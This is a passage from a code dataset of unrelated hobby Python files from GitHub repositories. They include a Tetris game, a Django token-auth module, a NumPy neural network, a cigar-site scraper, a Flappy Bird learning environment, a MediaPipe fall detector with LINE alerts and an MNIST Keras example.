\"/images/timetext.png\"), self.grid_width * 1.1 - 0.35, self.grid_height / 1.1 -0.3)\n stddraw.boldText(self.grid_width * 1.1 + 1.6, self.grid_height / 1.1 -0.3, f\"{int(self.time)}\")\n stddraw.boldText(self.grid_width * 1.1 + 0.9, self.grid_height / 1.1 -0.3, \":\") # {self.score}\n\n # Pauses the game\n def PauseGame(self):\n stddraw.clearKeysTyped()\n #print(\"Game is paused\")\n # stddraw.show(100)\n while True:\n stddraw.picture(Picture(os.path.dirname(os.path.realpath(__file__)) + \"/images/gamepausedtext.png\"),\n self.grid_width / 2, self.grid_height / 2)\n if stddraw.hasNextKeyTyped(): # check if the user has pressed a key\n key_typed = stddraw.nextKeyTyped() # the most recently pressed key\n\n if key_typed == \"space\":\n stddraw.show(100)\n #print(\"Game is running\")\n break\n stddraw.clearKeysTyped()\n stddraw.show(100)\n\n # Shows the restart and menu buttons\n def ShowMenu(self):\n stddraw.clearKeysTyped()\n background_color = Color(42, 69, 99)\n button_color = Color(25, 255, 228)\n text_color = Color(31, 160, 239)\n img_center_x, img_center_y = (self.grid_width - 1) / 2, self.grid_height - 6\n button_w, button_h = self.grid_width - 1.5, 2\n # coordinates of the bottom left corner of the start game button\n button_blc_x, button_blc_y = img_center_x - button_w / 2, 4\n # display the start game button as a filled rectangle\n # stddraw.setPenColor(button_color)\n # stddraw.filledRectangle(button_blc_x, button_blc_y, button_w, button_h)\n # stddraw.filledRectangle(button_blc_x, button_blc_y+4, button_w, button_h)\n # display the text on the start game button\n\n current_dir = os.path.dirname(os.path.realpath(__file__))\n button_file = current_dir + \"/images/button2.png\"\n button_image = Picture(button_file)\n stddraw.picture(button_image, img_center_x, button_blc_y+1)\n\n current_dir = os.path.dirname(os.path.realpath(__file__))\n button_file = current_dir + \"/images/button2.png\"\n button_image = Picture(button_file)\n stddraw.picture(button_image, img_center_x, button_blc_y+5)\n\n stddraw.picture(Picture(current_dir + \"/images/menutext.png\"), img_center_x, button_blc_y+1)\n stddraw.picture(Picture(current_dir + \"/images/restarttext.png\"), img_center_x, button_blc_y+5)\n # menu interaction loop\n while True:\n # display the menu and wait for a short time (50 ms)\n stddraw.show(50)\n # check if the mouse has been left-clicked on the button\n if stddraw.mousePressed():\n # get the x and y coordinates of the location at which the mouse has\n # most recently been left-clicked\n mouse_x, mouse_y = stddraw.mouseX(), stddraw.mouseY()\n # check if these coordinates are inside the button\n if mouse_x >= button_blc_x and mouse_x <= button_blc_x + button_w:\n if mouse_y >= button_blc_y and mouse_y <= button_blc_y + button_h:\n return \"Menu\"\n if mouse_x >= button_blc_x and mouse_x <= button_blc_x + button_w:\n if mouse_y >= button_blc_y and mouse_y <= button_blc_y+4 + button_h:\n return \"Restart\"\n if stddraw.hasNextKeyTyped():\n # check if the user has pressed a key\n key_typed = stddraw.nextKeyTyped() # the most recently pressed key\n if key_typed == \"escape\":\n stddraw.clearKeysTyped()\n stddraw.show(100)\n return \"Cont\"","repo_name":"Arda-Gokalp-Batmaz-AGB/Tetris2048","sub_path":"game_grid.py","file_name":"game_grid.py","file_ext":"py","file_size_in_byte":17967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9912465776","text":"from functools import wraps\n\nfrom SmartDjango import E\n\nfrom Account.models import Account\nfrom NotificatorX.global_settings import Global\nfrom utils.hash import md5\nfrom utils.jtoken import JWT\n\n\n@E.register()\nclass AuthError:\n REQUIRE_LOGIN = E(\"需要登录\")\n FAIL_AUTH = E(\"登录失败\")\n\n REQUIRE_ACCOUNT = E(\"需要口令\")\n FAIL_ACCOUNT = E(\"口令错误\")\n\n\nclass Auth:\n @staticmethod\n def get_login_token():\n token, dict_ = JWT.encrypt({})\n dict_['token'] = token\n return dict_\n\n @classmethod\n def login(cls, email, password):\n if email == Global.ADMIN_EMAIL and md5(password) == Global.ADMIN_PASSWORD:\n return cls.get_login_token()\n raise AuthError.FAIL_AUTH\n\n @classmethod\n def require_login(cls):\n def decorator(func):\n @wraps(func)\n def wrapper(r, *args, **kwargs):\n try:\n jwt_str = r.META.get('HTTP_TOKEN')\n if jwt_str is None:\n raise AuthError.REQUIRE_LOGIN\n JWT.decrypt(jwt_str)\n except Exception as err:\n raise AuthError.REQUIRE_LOGIN(debug_message=err)\n return func(r, *args, **kwargs)\n return wrapper\n return decorator\n\n @classmethod\n def require_account(cls):\n def decorator(func):\n @wraps(func)\n def wrapper(r, *args, **kwargs):\n try:\n auth = r.META.get('HTTP_AUTH')\n if auth is None:\n raise AuthError.REQUIRE_ACCOUNT\n auth = auth.split('$', 1)\n if len(auth) != 2:\n raise AuthError.FAIL_ACCOUNT\n r.d.account = Account.auth(*auth)\n except Exception as err:\n raise AuthError.REQUIRE_ACCOUNT(debug_message=err)\n return func(r, *args, **kwargs)\n return wrapper\n return decorator\n","repo_name":"Jyonn/NotificatorX","sub_path":"utils/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15486834356","text":"import numpy as np\nfrom sklearn.utils import shuffle\n\n\ndef activation_sigmoid(values):\n return 1.0 / (1.0 + np.exp(-values))\n\n\ndef der_activation_sigmoid(values):\n return values * (1 - values)\n\n\ndef activation_linear(values):\n return values\n\n\ndef der_activation_linear(values):\n return values\n\n\ndef activation_tanh(values):\n return np.tanh(values)\n\n\ndef der_activation_tanh(values):\n return 1. - values ** 2\n\n\ndef MSE(x, x_):\n \"\"\"\n Calculating the Mean Square Error.\n Argument (numpy array x, and \\tilde{x})\n\n here x_ can either an array, or a constant.\n\n returns a double\n \"\"\"\n return np.mean(np.square(x - x_))\n\n\ndef R2(x_, x):\n # expected, predicted\n r2 = 1 - MSE(x, x_) / MSE(np.average(x_), x)\n return r2\n\n\nclass Layer:\n \"\"\"\n Each Layer works as a seperate object, it has the number of inputs,\n and the number of output edges.\n\n The activation function for each Layer can be individually selected.\n\n Since this class is meant to be a private class, the main program can use\n the implemented new_layer function to feed the design of the neural network,\n using dictionaries as arguments.\n\n Each Layer will keep track of its error rate, and delta (which are used\n to help with finding the required changes in the same iteration)\n \"\"\"\n\n def __init__(self, input_size, node_size, activation='sigmoid'):\n # Statistics\n self.result = None\n self.error = None\n self.delta = None\n self.last_value = None\n\n # Features\n self.number_of_inputs = input_size\n self.number_of_nodes = node_size\n self.activation = activation\n\n # Values\n self.bias = np.random.rand(node_size)\n self.betas = np.random.rand(input_size, node_size)\n\n def forward(self, values):\n # gets the input, applied the weights, and run the activation\n tmp = np.dot(values, self.betas) + self.bias\n self.result = self.activate(tmp)\n return self.result\n\n def activate(self, value):\n \"\"\"\n :param value: the result of the feed forward\n :return: activated result, based of the chosen activation function\n\n TODO: Check for lower cases\n \"\"\"\n # sigmoid:\n if 'sig' in self.activation:\n return activation_sigmoid(value)\n\n # tanh\n elif 'tanh' in self.activation:\n return activation_tanh(value)\n\n # linear\n else:\n return value\n\n def backward(self, value):\n \"\"\"\n This will apply the derivative of the selected activation function\n \"\"\"\n\n # sigmoid:\n if 'sig' in self.activation:\n return der_activation_sigmoid(value)\n\n # tanh\n elif 'tanh' in self.activation:\n return der_activation_tanh(value)\n\n # linear\n else:\n return value\n\n\nclass NeuralNetwork:\n def __init__(self, learning_rate=0.01, max_iter=100, epsilon=0):\n # design:\n self.R2_score = []\n self.mse_score = []\n self.layers = []\n\n # early stopping\n self.epsilon = epsilon\n self.max_iter = max_iter\n self.eta = learning_rate\n\n def new_layer(self, design):\n \"\"\"\n :param design: is a dictionary of type\n {'input_size': number of inputs,\n 'number_of_nodes': number of inputs for the next layer,\n 'activation_function': activation function (sigmoid, linear, tanh)\n }\n :return: None\n \"\"\"\n self.layers.append(Layer(design['input_size'], design['number_of_nodes'], design['activation_function']))\n\n def forward(self, x_train):\n \"\"\"\n Uses the forward function in each Layer to find the final result\n\n :param x_train: X values\n :return: the result of the NeuralNetwork\n \"\"\"\n next_input = x_train\n for layer in self.layers:\n next_input = layer.forward(next_input)\n\n return next_input\n\n def predict_class(self, x):\n \"\"\"\n Should only be used if the NeuralNetwork is used for classification problems, not regression\n :param x: input\n :return: index of the most probable outcome\n \"\"\"\n result = self.forward(x)\n\n if result.ndim == 1:\n return np.argmax(result)\n\n else:\n return np.argmax(result, axis=1)\n\n def backward(self, x_train, y_train):\n \"\"\"\n :param x_train: inputs of the training set\n :param y_train: expected output\n :return: None\n\n Uses the backward function in each Layer to simplify the process\n \"\"\"\n result = self.forward(x_train)\n number_layers = len(self.layers)\n for i in reversed(range(number_layers)):\n if self.layers[i] == self.layers[-1]:\n self.layers[i].error = y_train - result\n self.layers[i].delta = self.layers[i].error * self.layers[i].backward(result)\n\n else:\n # weighted error\n self.layers[i].error = np.dot(self.layers[i + 1].betas, self.layers[i + 1].delta)\n self.layers[i].delta = self.layers[i].error * self.layers[i].backward(self.layers[i].result)\n\n for i in range(number_layers):\n if i == 0:\n tmp_x = x_train\n else:\n tmp_x = self.layers[i - 1].result\n\n tmp_x = np.atleast_2d(tmp_x)\n self.layers[i].betas += self.layers[i].delta * tmp_x.T * self.eta\n\n def train(self, x_train, y_train, mse_off=False):\n \"\"\"\n :param x_train: input values\n :param y_train: expected outcome\n :return: None\n\n Shuffles the data, selects 20% of the training data for validation.\n The validation set is used to find the MSE score.\n\n If the tolerance rate is set, it can end before going through all the iterations.\n \"\"\"\n for i in range(self.max_iter):\n tmp_x_train, tmp_y_train = shuffle(x_train, y_train, random_state=0)\n n_train = len(tmp_x_train)\n n_valid = int(n_train / 5)\n x_valid, y_valid = tmp_x_train[:n_valid], tmp_y_train[:n_valid]\n for x in range(n_train):\n self.backward(tmp_x_train[x], tmp_y_train[x])\n\n if not mse_off:\n valid_result = self.forward(x_valid)\n self.mse_score.append(MSE(y_valid, valid_result))\n self.R2_score.append(R2(y_valid, valid_result))\n\n if i > 10 and abs(self.mse_score[-1] - self.mse_score[-2]) <= self.epsilon:\n break\n\n def accuracy(self, x_test, y_test):\n result = self.forward(x_test) > 0.5\n return np.sum(result == y_test) / len(y_test)\n","repo_name":"maksymbrl/machine-learning-projects","sub_path":"p3/Maziar/Project2/Code/multilayer_perceptron.py","file_name":"multilayer_perceptron.py","file_ext":"py","file_size_in_byte":6772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"36432409125","text":"# the user, will have in your head a number between 0 and 100. The program will guess a number,\r\n# and you, the user, will say whether it is too high, too low, or your number. At the end of this\r\n# exchange, your program should print out how many guesses it took to get your number. As the\r\n# writer of this program, you will have to choose how your program will strategically guess.\r\n# A naive strategy can be to simply start the guessing at 1, and keep going (2, 3, 4, etc.)\r\n# until you hit the number. But that’s not an optimal guessing strategy. An alternate strategy\r\n# might be to guess 50 (right in the middle of the range), and then increase / decrease by 1 as\r\n# needed. After you’ve written the program, try to find the optimal strategy!\r\n# (We’ll talk about what is the optimal one next week with the solution.)\r\n\r\n\r\ndef binary():\r\n return my_list[(int((len(my_list)/2)))]\r\n\r\n\r\nmy_list = []\r\nfor i in range(1, 101):\r\n my_list.append(i)\r\n\r\nprint(\"Pick a number between 0 and 100 in your mind\\nI will try to guess it\")\r\nstart = input(\"Are you ready? Type 'Y' and press enter when ready: \").upper()\r\nwhile True:\r\n if start == \"Y\":\r\n count = 1\r\n while int(len(my_list)) > 1:\r\n num = binary()\r\n print(f\"Is your number: {num}?\")\r\n y_n_answer = input(\"Type 'Y' for yes, type 'N'for no: \").upper()\r\n if y_n_answer == \"Y\":\r\n print(f\"Bingo! You found in {count}. try. \\nThanks for the game!\")\r\n quit()\r\n elif y_n_answer == \"N\":\r\n if int(len(my_list)) == 2:\r\n print(f\"Your number is {my_list[0]}.\\nBingo! You found in {count}. try.\")\r\n quit()\r\n l_h_answer = input(f\"If {num} is higher than your number type 'H', or if {num} is lower type 'L' please: \").upper()\r\n if l_h_answer == \"H\":\r\n del my_list[(int(len(my_list)/2)):]\r\n elif l_h_answer == \"L\":\r\n del my_list[:((int(len(my_list) / 2))+1)]\r\n else:\r\n y_n_answer = input(\"Type 'Y' for yes, type 'N'for no: \").upper()\r\n# print(my_list)\r\n count += 1\r\n if int(len(my_list)) < 2:\r\n print(f\"Your number is {my_list[0]} \\nBingo! I found in {count}. try.\")\r\n quit()\r\n else:\r\n start = input(\"Are you ready? Type 'Y' and press enter when ready: \").upper()\r\n","repo_name":"gokhankar/practicepython","sub_path":"25_guessing_game_two.py","file_name":"25_guessing_game_two.py","file_ext":"py","file_size_in_byte":2437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"3837848490","text":"# coding=utf-8\n\"\"\"\n@Author: Freshield\n@Contact: yangyufresh@163.com\n@File: get_bj_time.py\n@Time: 2023-03-28 21:55\n@Last_update: 2023-03-28 21:55\n@Desc: None\n@==============================================@\n@ _____ _ _ _ _ @\n@ | __|___ ___ ___| |_|_|___| |_| | @\n@ | __| _| -_|_ -| | | -_| | . | @\n@ |__| |_| |___|___|_|_|_|___|_|___| @\n@ Freshield @\n@==============================================@\n\"\"\"\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom datetime import timezone\n\n\nSHA_TZ = timezone(\n timedelta(hours=8),\n name='Asia/Shanghai',\n)\n\n\ndef get_bj_time():\n # 协调世界时\n utc_now = datetime.utcnow().replace(tzinfo=timezone.utc)\n # 北京时间\n beijing_now = utc_now.astimezone(SHA_TZ)\n\n return beijing_now\n","repo_name":"Freshield/Personal_Interest","sub_path":"a33_web3py/lib/get_bj_time.py","file_name":"get_bj_time.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"14224998456","text":"# cigar_list.py\n# This is a simple scraper, no multi threading or async operations\n# This builds a CSV file of all cigars scrapped from specific list of web pages (per the pages[] list in the code) by: brand, name, & size\n# Running the script multiple times will build on the CSV list and not create duplicates.\n# I run this daily to compile a list of all cigars that ever show up on the website.\n\nimport requests\nimport bs4\nfrom datetime import datetime\nimport csv\nimport itertools\nimport sys\nimport os\nimport time\n\nstart_time = time.time()\ntimestamp = datetime.now().strftime(\"%m/%d/%Y %H:%M\")\n\ndef cleanup(x):\n \"\"\"\n Returns a string with space on the left and right removed.\n \"\"\"\n try:\n x = x.replace(\"Length (in inches):\", \"L:\")\n x = x.replace(\"LENGTH:\", \"L:\")\n x = x.replace(\"ring gauge:\", \"RG:\")\n x = x.replace(\"Ring Gauge:\", \"RG:\")\n x = x.replace(\"RING GAUGE:\", \"RG:\")\n x = x.replace(\"No Discounts Apply\", \"\")\n x = x.replace(\"no discounts apply\", \"\")\n x = ' '.join([line.strip() for line in x.strip().splitlines()])\n except:\n x = 'cleanup function error!'\n return x\n\n\ndef number_of_lines(fname):\n def _make_gen(reader):\n b = reader(2 ** 16)\n while b:\n yield b\n b = reader(2 ** 16)\n\n with open(fname, \"rb\") as f:\n count = sum(buf.count(b\"\\n\") for buf in _make_gen(f.raw.read))\n return count\n\n\n# START\nfile_name = os.path.join(sys.path[0], 'cigar_list.csv')\nrows = []\nrows.append(['Brand', 'Name', 'Size'])\n\n# CoH\nbase_url = \"https://www.cigarsofhabanos.com/\"\npages = ['cigars-bolivar',\n 'cigars-cohiba',\n 'cigars-cuaba',\n 'cigars-diplomaticos',\n 'cigars-el-rey-del-mundo',\n 'cigars-fonseca',\n 'cigars-guantanamera',\n 'cigars-h.upmann',\n 'cigars-hoyo-de-monterrey',\n 'cigars-jose-l.-piedra',\n 'cigars-juan-lopez',\n 'cigars-la-flor-de-cano',\n 'cigars-la-gloria-cubana',\n 'cigars-montecristo',\n 'cigars-partagas',\n 'cigars-por-larranaga',\n 'cigars-punch',\n 'cigars-quai-dorsay',\n 'cigars-quintero-y-hermano',\n 'cigars-rafael-gonzalez',\n 'cigars-ramon-allones',\n 'cigars-romeo-y-julieta',\n 'cigars-saint-luis-rey',\n 'cigars-san-cristobal-de-la-habana',\n 'cigars-sancho-panza',\n 'cigars-trinidad',\n 'cigars-vegas-robaina',\n 'cigars-vegueros']\n\nfor page in pages:\n url = f'{base_url}{page}'\n brand = page.split('-', 1)[1].replace('-', ' ')\n\n try:\n # get the page\n response = requests.get(url)\n # Save the response to soup\n soup = bs4.BeautifulSoup(response.text, \"html.parser\")\n # Get number of items\n total_product_tags = len(soup.find_all('span', {'class': ['product_header', 'product_header_W']}))\n # Iterate through all products\n for i in range (0, total_product_tags):\n name = soup.find_all('span', {'class': ['product_header', 'product_header_W']})[i].get_text().strip()\n size = cleanup(soup.find_all('td', class_='nortxt')[i].find('div', class_='fsize11').get_text())\n rows.append([brand, name, size])\n except Exception as e:\n #this website didn't respond or the page had errors\n print(e)\n\n# Open existing file for comparison\ntry:\n with open(file_name, 'r', newline='', encoding='ISO-8859-1') as existing_file:\n reader = csv.reader(existing_file)\n existing_rows = list(reader)\nexcept:\n #file does not exist\n existing_rows = []\n \n# Combine the existing rows with what was just scrapped, sort, then remove dups\ncombined_rows = existing_rows + rows\ncombined_rows.sort()\nunique_rows = list(combined_rows for combined_rows,_ in itertools.groupby(combined_rows))\n\n# Create new file with combined results\nwith open(file_name, 'w', newline='', encoding='ISO-8859-1') as csvfile:\n writer = csv.writer(csvfile)\n for row in unique_rows:\n writer.writerow(row)\n\ntotal_lines = number_of_lines(file_name)\nruntime = round(time.time() - start_time, 2)\nprint(f'File created: {timestamp} with {total_lines} lines - Runtime: {runtime}')\n\n","repo_name":"geokscott/cigar_scraper","sub_path":"cigar_list_csv.py","file_name":"cigar_list_csv.py","file_ext":"py","file_size_in_byte":4207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"23431918778","text":"import copy\nfrom typing import Tuple\n\nfrom resources.env import UP, RELEASE\nfrom src.controllers.board_controller import BoardController\nfrom src.controllers.texture_manager import TextureManager\nfrom src.entities.bird import Bird\nfrom src.enum.reward import Reward\n\n\nclass Environment:\n def __init__(self, width: int, height: int) -> None:\n self.width = width\n self.height = height\n self.board_controller = BoardController(width, height)\n self.win_streak = 0\n self.best_win_streak = 0\n self.loose = False\n self.checked = False\n self.texture_manager = TextureManager()\n\n def reset(self) -> None:\n self.win_streak = 0\n self.loose = False\n self.checked = False\n\n def update_bird(self, bird: Bird, action: str) -> Tuple[Bird, int]:\n self.checked = False\n old_bird = copy.deepcopy(bird)\n if action == UP:\n bird.flap()\n elif action == RELEASE:\n bird.fall()\n\n reset_bird, reward = self.get_reward(old_bird, bird)\n\n if reset_bird:\n if action == UP:\n bird.reset_flap()\n\n return bird, reward\n\n def get_reward(self, old_bird: Bird, bird: Bird) -> Tuple[bool, int]:\n reset_bird = False\n if bird.get_top() <= self.height and bird.get_bottom() > 0:\n if self.board_controller.is_top(bird):\n reward = Reward.REWARD_STUCK\n reset_bird = True\n elif self.board_controller.is_bottom(bird) or self.board_controller.is_pipe(bird):\n self.loose = True\n reward = Reward.REWARD_LOOSE\n if len(self.board_controller.goals) != 0:\n self.board_controller.goals.pop(0)\n elif self.board_controller.is_checkpoint(bird):\n self.win_streak += 1\n self.checked = True\n reward = Reward.REWARD_CHECKPOINT\n self.board_controller.goals.pop(0)\n else:\n reward = Reward.REWARD_DEFAULT\n else:\n reset_bird = True\n reward = Reward.REWARD_IMPOSSIBLE\n\n penalty = 0\n if not reset_bird:\n old_distance = self.board_controller.distance_next_pipe(old_bird)\n distance = self.board_controller.distance_next_pipe(bird)\n if distance == -1:\n penalty = 0\n elif old_distance - distance < 0:\n penalty = distance * int(Reward.REWARD_PENALTY)\n else:\n penalty = int(Reward.REWARD_CHECKPOINT)\n return reset_bird, int(reward) + penalty\n","repo_name":"Shengael/flappybirdML","sub_path":"src/controllers/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9059407535","text":"import cv2\r\nimport mediapipe as mp\r\nimport os\r\nimport requests\r\nimport sys\r\nimport argparse\r\nimport gc\r\nfrom Line_notify import Warning\r\n\r\ncounter = 0 # the index of images \r\n\r\nclass PoseDetector:\r\n \"\"\"\r\n Estimates Pose points of a human body using the mediapipe library.\r\n \"\"\"\r\n\r\n def __init__(self, mode=False, smooth=True,\r\n detectionCon=0.5, trackCon=0.5):\r\n \"\"\"\r\n :param mode: In static mode, detection is done on each image: slower\r\n :param smooth: Smoothness Flag\r\n :param detectionCon: Minimum Detection Confidence Threshold\r\n :param trackCon: Minimum Tracking Confidence Threshold\r\n \"\"\"\r\n\r\n self.mode = mode\r\n self.smooth = smooth\r\n self.detectionCon = detectionCon\r\n self.trackCon = trackCon\r\n\r\n self.mpDraw = mp.solutions.drawing_utils\r\n self.mpPose = mp.solutions.pose\r\n self.pose = self.mpPose.Pose(static_image_mode=self.mode,\r\n smooth_landmarks=self.smooth,\r\n min_detection_confidence=self.detectionCon,\r\n min_tracking_confidence=self.trackCon)\r\n self.lmList = []\r\n self.t = 0\r\n\r\n def warning(self):\r\n url = \"http://time.artjoey.com/js/basetime.php\"\r\n res = requests.get(url)\r\n data = res.content.decode('ascii')\r\n ms = int(data.split('=')[1][:-1])\r\n twsec = ms / 1000 + (60 * 60 * 8)\r\n daysec = twsec % (60 * 60 * 24) \r\n HH = int(daysec / 60 / 60)\r\n MM = int(daysec / 60) % 60\r\n SS = int(daysec % 60)\r\n now = f\"{HH}:{MM}:{SS}\"\r\n img = \"image{}.png\".format(counter) \r\n Warning(0,now,img)\r\n \r\n def faint_detect(self, img, draw=True):\r\n\r\n imgRGB = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n self.results = self.pose.process(imgRGB)\r\n joint_list = []\r\n \r\n if self.results.pose_landmarks:\r\n for id, lm in enumerate(self.results.pose_landmarks.landmark):\r\n h, w, c = img.shape\r\n cx, cy = int(lm.x * w), int(lm.y * h)\r\n joint_list.append([cx, cy])\r\n shoulder_L_y = joint_list[11][1]\r\n shoulder_R_y = joint_list[12][1]\r\n hip_L_y = joint_list[23][1]\r\n hip_R_y = joint_list[24][1] \r\n knee_L_y = joint_list[25][1]\r\n knee_R_y = joint_list[26][1]\r\n heel_L_y = joint_list[27][1]\r\n heel_R_y = joint_list[28][1]\r\n print(shoulder_L_y,hip_L_y,knee_L_y,heel_L_y,\"///\",shoulder_R_y,hip_R_y,knee_R_y,heel_R_y)\r\n L_test = [shoulder_L_y - hip_L_y, hip_L_y - knee_L_y, knee_L_y - heel_L_y]\r\n R_test = [shoulder_R_y - hip_R_y, hip_R_y - knee_R_y, knee_R_y - heel_R_y]\r\n \r\n Ltmp = 0 # left hand side test\r\n for i in L_test:\r\n if abs(i) < 50:\r\n Ltmp += 1\r\n print(\"HELP!\") \r\n if Ltmp == 2:\r\n self.warning() # if any two sets of the y-difference oftwo key points, text messages to line group\r\n # if LHS is Okay, then analysize the RHS\r\n if Ltmp < 2:\r\n Rtmp = 0 # right hand side test\r\n for i in R_test:\r\n if abs(i) < 50:\r\n Rtmp += 1\r\n print(\"HELP!\")\r\n if Rtmp == 2:\r\n self.warning()\r\n \r\n if draw:\r\n self.mpDraw.draw_landmarks(img, self.results.pose_landmarks,\r\n self.mpPose.POSE_CONNECTIONS)\r\n if draw:\r\n return img\r\n else:\r\n return 0\r\n \r\n# capture images with cv2\r\ndef run(camera_id: int):\r\n global counter\r\n \r\n # Start capturing video input from the camera\r\n cap = cv2.VideoCapture(camera_id)\r\n \r\n while cap.isOpened():\r\n success, image = cap.read()\r\n if not success:\r\n sys.exit('ERROR: Unable to read from webcam. Please verify your webcam settings.')\r\n \r\n # the path where you want to store images after capturing with the cam\r\n image_name = \"/home/pi/RobotVacuum/python/image{}.png\".format(counter) \r\n cv2.imwrite(image_name, image) # store images with designated format\r\n img = cv2.imread(image_name) # read image files and type(img) == \r\n detector = PoseDetector() # the class for detecting whether a person fainted away\r\n img = detector.faint_detect(img)\r\n \r\n while True:\r\n cv2.imshow(\"Image\", img) # show the image capturing by the camera\r\n cv2.waitKey(5000) # wait for 5 sec\r\n cv2.destroyAllWindows() # destroy the scene showed on the monitor\r\n os.remove(\"/home/pi/RobotVacuum/python/image{}.png\".format(counter)) # remove the image \r\n gc.collect() # release grabage\r\n counter += 1 # record the number of pictures the cam have captured\r\n \r\n # I haven't solved the problem yet:\r\n # somehow the execution will kill on its own after capturing 40 pictures\r\n if counter > 39: \r\n counter = 0\r\n break\r\n \r\n print(\"\\n\")\r\n \r\n if cv2.waitKey(1) == 27: # press esc to stop execution\r\n break\r\n \r\n cap.release() # release the cap \r\n cv2.destroyAllWindows()\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser(formatter_class = argparse.ArgumentDefaultsHelpFormatter)\r\n parser.add_argument('--cameraId', help = 'Id of camera.', required = False, default = 0) # slect the cam\r\n args = parser.parse_args()\r\n run(int(args.cameraId)) # start capturing images\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"CarCarGroup05/RobotVacuum","sub_path":"python/faint_detection.py","file_name":"faint_detection.py","file_ext":"py","file_size_in_byte":5958,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"} +{"seq_id":"42516481653","text":"#!/usr/bin/env python\n\nimport fasttext\nimport itertools\nimport sys\nsys.path.append('../utils')\nfrom dataproc import f1_multiclass\n\ntest_file = 'feat_test/test_feature.ssv'\ntest_res = 'res_test/res_test.tsv'\nBATCH_SIZE = 256\n\nmdl = fasttext.load_model('mdl_fasttext_supervised.bin')\nwith open(test_file) as fi, open(test_res, 'w') as fo:\n # label(__label__4), chars, words\n iter_cnt = 0\n feats_buff = []\n label_buff = []\n for line in fi:\n iter_cnt += 1\n flds = line.rstrip('\\n').split(' ')\n test_label = flds[0][9:]\n test_feats = ' '.join(flds[1:])\n feats_buff.append(test_feats)\n label_buff.append(test_label)\n if iter_cnt % BATCH_SIZE != 0:\n continue\n pred_raws = mdl.predict(feats_buff, 1)\n for pred_raw, test_label in zip(pred_raws, label_buff):\n pred_label = pred_raw[0][9:]\n print(test_label, pred_label, file=fo, sep='\\t')\n iter_cnt = 0\n feats_buff = []\n label_buff = []\n\nwith open(test_res) as f:\n data_test = [l.rstrip('\\n').split('\\t') for l in f.readlines()]\nt_values = [l[0] for l in data_test]\np_values = [l[1] for l in data_test]\nprint(f1_multiclass(t_values, p_values))\n","repo_name":"kn45/daguan","sub_path":"model_ftxt1/5_Test.py","file_name":"5_Test.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16009278146","text":"# Assignment 2\n\n\n#importing necessary libraries\nimport tensorflow as tf\nfrom tensorflow import keras\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\n#import dataset and split into train and test data\nmnist = tf.keras.datasets.mnist\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nprint(len(x_train))\nprint(len(x_test))\n\nprint(x_train.shape)\nprint(x_test.shape)\n\nplt.matshow(x_train[0])\n\n#normalize the images by scaling pixel intensities to the range 0,1\nx_train = x_train / 255\nx_test = x_test / 255\n\n#Define the network architecture using Keras\nmodel = keras.Sequential([\n keras.layers.Flatten(input_shape=(28, 28)), # Flatten for compress the input\n keras.layers.Dense(128, activation='relu'), # Dence insures that each nuron of prev connected to next nuron\n keras.layers.Dense(10, activation='softmax')\n])\n\nprint(model.summary())\n\n# compile the model\nmodel.compile(optimizer='sgd', #scochestic gradient decent\n loss='sparse_categorical_crossentropy', # it saves time\n metrics=['accuracy'])\n\n# train the model\nhistory=model.fit(x_train, y_train,validation_data=(x_test,y_test),epochs=5)\n\n# Evaluate the model\ntest_loss, test_acc = model.evaluate(x_test, y_test)\nprint(\"Loss=%.3f\" %test_loss)\nprint(\"Loss=\", test_loss)\nprint(\"Accuracy=%.3f\" %test_acc)\n\n#Making prediction on new data\nn=random.randint(0,9999)\nplt.imshow(x_test[n])\nplt.show()\n\n#we use predict() on new data\npredicted_value=model.predict(x_test)\nprint(\"Handwritten number in the image is= %d\" %np.argmax(predicted_value[n]))\n\n# Plot graph for accuracy and loss\nhistory.history\nprint(history.history.keys())\n\n# model's Accuracy\n# plt.plot(history.history['accuracy'])\n# plt.plot(history.history['val_accuracy'])\n# plt.title('model accuracy')\n# plt.ylabel('accuracy')\n# plt.xlabel('epoch')\n# plt.legend(['Train', 'Validation'], loc='upper left')\n# plt.show()\n\n# model's loss\n# plt.plot(history.history['loss'])\n# plt.plot(history.history['val_loss'])\n# plt.title('model loss')\n# plt.ylabel('loss')\n# plt.xlabel('epoch')\n# plt.legend(['Train', 'Validation'], loc='upper left')\n# plt.show()\n\nplt.plot(history.history['accuracy'])\nplt.plot(history.history['val_accuracy'])\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('Training Loss and accuracy')\nplt.ylabel('accuracy/Loss')\nplt.xlabel('epoch')\nplt.legend(['accuracy', 'val_accuracy','loss','val_loss'])\nplt.show()","repo_name":"patilakanksha/MyStudy","sub_path":"Ass2.py","file_name":"Ass2.py","file_ext":"py","file_size_in_byte":2448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"8849568702","text":"import re\nimport sys\n\n\ndef main():\n print(convert(input(\"Hours: \")))\n\ndef convert(s):\n\n hours = re.search(r\"^([0-9]|1[0-2]):?([0-5][0-9])? ([A-P]M) to ([0-9]|1[0-2]):?([0-5][0-9])? ([A-P]M)$\",s)\n if hours:\n hours_in_parts = hours.groups()\n first_part = 